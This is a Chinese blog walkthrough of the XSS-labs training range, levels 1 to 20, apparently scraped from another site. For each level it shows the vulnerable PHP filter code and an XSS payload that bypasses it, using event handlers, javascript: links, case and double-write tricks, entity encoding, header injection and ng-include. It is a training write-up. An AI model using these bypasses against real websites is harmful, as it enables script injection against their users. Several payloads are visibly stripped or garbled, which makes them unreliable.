XSS-labs|Level1-Level20

目录

  • 前言
  • XSS-labs
    • Level1-基础注入
    • Level2-闭合注入
    • Level3-onclick|onblur|onfocus|onmouseover
    • Level4-onclick|onblur|onfocus|onmouseover
    • Level5-构造a标签
    • Level6-大小写绕过
    • Level7-双写绕过
    • Level8-编码绕过
    • Level9-注释绕过
    • Level10-onclick+type
    • Level11-Referer
    • Level12-User-Agent
    • Level13-Cookie
    • Level14-iframeExif
    • Level15-ng-include
    • Level16-过滤空格
    • Level17-embed
    • Level18-embed
    • Level19-flash
    • Level20-flash
  • 总结


前言

又完成了一个靶场,巩固基础才能更进一步


XSS-labs

Level1-基础注入

一进来就有一个Get参数

在这里插入图片描述

F12查看源码,发现name就是用户名,并且回显到h2标签中

DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  {
	confirm("完成的不错!");
	window.location.href="level2.php?keyword=test"; 
}
script>
<title>欢迎来到level1title>
head>
<body>
<h1 align=center>欢迎来到level1h1>
<h2 align=center>欢迎用户testh2><center><img src=level1.png>center>
<h3 align=center>payload的长度:4h3>body>
html>

从JS部分可以看出,需要调用alert弹窗过关

构造payload

?name=

弹窗后就跳转到第二关啦

XSS-labs|Level1-Level20_第1张图片


Level2-闭合注入

第二关给了一个输入框

XSS-labs|Level1-Level20_第2张图片

查看F12发现还是要弹窗,于是插入

XSS-labs|Level1-Level20_第3张图片

发现并未弹窗,是什么原因呢,我们F12看看

在这里插入图片描述

发现我们输入的符号<>变成了html编码

看到源码,原来是使用了htmlspecialchars函数将特殊字符转成html实体

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str.'">
'
;

既然,上面的

标签中无法进行注入,那么试试在下面">这一段进行注入,我们用双引号将前面的语句闭合,然后构造alert即可

最终payload如下

">

效果是这样的:

XSS-labs|Level1-Level20_第4张图片


Level3-onclick|onblur|onfocus|onmouseover

界面是这样的,二话不说先试一试

XSS-labs|Level1-Level20_第5张图片

发现没有效果,还是查看源代码

XSS-labs|Level1-Level20_第6张图片

把两个地方都编码了

我们构造标签事件进行注入,payload如下

’ οnclick='javascript:alert()

我们看看代码的变化,发现原来的输入框多了一个onclick属性,这样每当这个输入框被点击时就会触发其中的javascript伪协议,调用alert函数

XSS-labs|Level1-Level20_第7张图片

我们点击输入框,成功通过

XSS-labs|Level1-Level20_第8张图片

同理使用onmouseover和onblur也是差不多的效果,分别是当鼠标经过时触发,获得焦点时触发,取消选中时触发

’ οnmοuseοver='javascript:alert()

’ οnfοcus='javascript:alert()

’ οnblur='javascript:alert()


Level4-onclick|onblur|onfocus|onmouseover

直接用上一关的payload发现无效,查看源代码

XSS-labs|Level1-Level20_第9张图片

原来是单引号改成了双引号导致没有闭合,修改为双引号即可通过

" οnblur="javascript:alert()

XSS-labs|Level1-Level20_第10张图片


Level5-构造a标签

使用上一关的payload,发现没有效果,查看源代码

XSS-labs|Level1-Level20_第11张图片

原来是属性部分把on改成了o_n,源码如下:

$str = strtolower($_GET["keyword"]);
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);

可以看到

不过由于没有过滤尖括号,于是我们可以构造一个新的标签来执行xss

构造payload如下

"> alert

插入之后的效果:

XSS-labs|Level1-Level20_第12张图片

再来看看代码

XSS-labs|Level1-Level20_第13张图片

成功构造出了一个标签,并且将超链接定向到了javascript伪协议中,点击那个蓝色的alert超链接,即可过关

XSS-labs|Level1-Level20_第14张图片


Level6-大小写绕过

插入上一关的payload,没有效果,国际惯例打开代码

在这里插入图片描述

原来是href被替换成了hr_ef,php源码如下

$str = $_GET["keyword"];
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

没有过滤大小写,而标签属性是大小写都支持的,于是大写绕过

"> alert


Level7-双写绕过

先试试小写版本的a标签

XSS-labs|Level1-Level20_第15张图片

herf直接被替换为空了,大写也是一样,script也是一样

那我们试试双写绕过

"> alert

这次成功了

在这里插入图片描述

后台源代码如下:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

Level8-编码绕过

页面上多了一个友情链接

XSS-labs|Level1-Level20_第16张图片

试着插入看看会发生什么

XSS-labs|Level1-Level20_第17张图片

发现script被过滤了,中间插入了一个下划线(被挡住了看不清)

源代码如下:

$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);

因为我们的语句已经在a标签内了,于是直接使用js伪协议执行alert,但是script会被过滤,因此我们使用编码绕过,payload如下

keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert()

经url解码后为

keyword=javascript:alert()

中间的就是javascript的unicode编码,在解析时才会解码,因此可以绕过过滤

在这里插入图片描述

成功通过

XSS-labs|Level1-Level20_第18张图片


Level9-注释绕过

使用上一关的payload发现不成功

在这里插入图片描述


if(false===strpos($str7,'http://')){
  echo '

友情链接
'
; }else{ echo '

.$str7.'">友情链接
'
; } ?>

原来是需要http://,我们之间在最后面添加http://,并使用注释将其注释掉

javascript:alert()//http://

在这里插入图片描述

成功绕过

XSS-labs|Level1-Level20_第19张图片


Level10-onclick+type

变成了没有输入框的形式,不过有一个Get参数

XSS-labs|Level1-Level20_第20张图片

插入试试

XSS-labs|Level1-Level20_第21张图片

后台代码如下:

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?>

发现t_sort参数只是过滤尖括号,使用Level3和Level4的方法绕过,不过要多加一个type参数,让该标签变成text类型,才能显示出来点击得到

?keyword=1&t_sort=" type=“text” οnclick="alert()

XSS-labs|Level1-Level20_第22张图片

点击之后就过关了


Level11-Referer

看到源码比上一关多了一个标签

XSS-labs|Level1-Level20_第23张图片

好像是从referer中取到的,于是修改referer尝试

在这里插入图片描述

执行后页面源码变成了:

XSS-labs|Level1-Level20_第24张图片

点击新出现的文本框过关

XSS-labs|Level1-Level20_第25张图片


Level12-User-Agent

没活了,这次是User-Agent

XSS-labs|Level1-Level20_第26张图片

payload如下

" type=“text” οnclick="javascript:alert()

写道User-Agent中即可

在这里插入图片描述

源代码变成了:

XSS-labs|Level1-Level20_第27张图片

点击过关

XSS-labs|Level1-Level20_第28张图片


Level13-Cookie

看名字猜到是Cookie

XSS-labs|Level1-Level20_第29张图片

看到进来时的Cookie是这样的

在这里插入图片描述

把上一关的payload放进去即可

user=" type=“text” οnclick="javascript:alert()

XSS-labs|Level1-Level20_第30张图片

代码

XSS-labs|Level1-Level20_第31张图片

成功通过

XSS-labs|Level1-Level20_第32张图片


Level14-iframeExif

这关应该是想同图片的Exif信息回显,达到注入的效果,不过目标网站访问不了,只能作罢

在这里插入图片描述


Level15-ng-include

这关的参数是一个gif图片的文件名

XSS-labs|Level1-Level20_第33张图片

XSS-labs|Level1-Level20_第34张图片

看到参数拼接到了ng-include后面,简单搜索一些ng-include是文件包含那样的作用,于是尝试包含一个同样有xss漏洞的同域名下网页,第一关显然非常合适

XSS-labs|Level1-Level20_第35张图片

确实是包含进来了,不过为什么没有alert呢,简单搜索一下,是因为ng-include包含进来的页面,其中的script部分是不会执行的

在这里插入图片描述

所以要试一试其它方式触发当前level15页面的script脚本,虽然不能执行level1的script,但是可以把一些文本框包含进来,在level15触发

?src='level1.php?name=

XSS-labs|Level1-Level20_第36张图片

点击文本框即可触发,也可以下面这样

?src='level1.php?name=

这个意思是添加了一个图片,图片来源是1,但是因为找不到1处的图片,所以就会触发onerror,调用alert函数


Level16-过滤空格

这次的参数被插入到了

标签中

XSS-labs|Level1-Level20_第37张图片

XSS-labs|Level1-Level20_第38张图片

源代码如下:

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "
".$str5."
"
; ?>

发现过滤了大小写、script、空格和/,使用换行符替换空格即可绕过

换行符的URL编码为%0A

XSS-labs|Level1-Level20_第39张图片

也可以使用a标签和编码绕过

在这里插入图片描述

使用img标签也可,这些方法在上文都有介绍

XSS-labs|Level1-Level20_第40张图片


Level17-embed

这关应该是注入到embed标签内,不过我电脑里的Chrome、Edge、Firefox都已经不支持flash了,所以测试不了

在这里插入图片描述

XSS-labs|Level1-Level20_第41张图片

源代码如下:


ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

如果可以加载,可以试一试如下payload

?arg01=a&arg02= οnmοuseοver=alert()


Level18-embed

这关也是加载不了


ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

Level19-flash

flash无法加载


ini_set("display_errors", 0);
echo '.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

Level20-flash

flash无法加载


ini_set("display_errors", 0);
echo '.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

总结

后面有几个关卡没办法做,感觉很可惜,不过flash快要被淘汰了,感觉以后也不太可能遇到这类题,图一个轻松吧。

你可能感兴趣的:(xss,php,javascript,网络安全,web安全)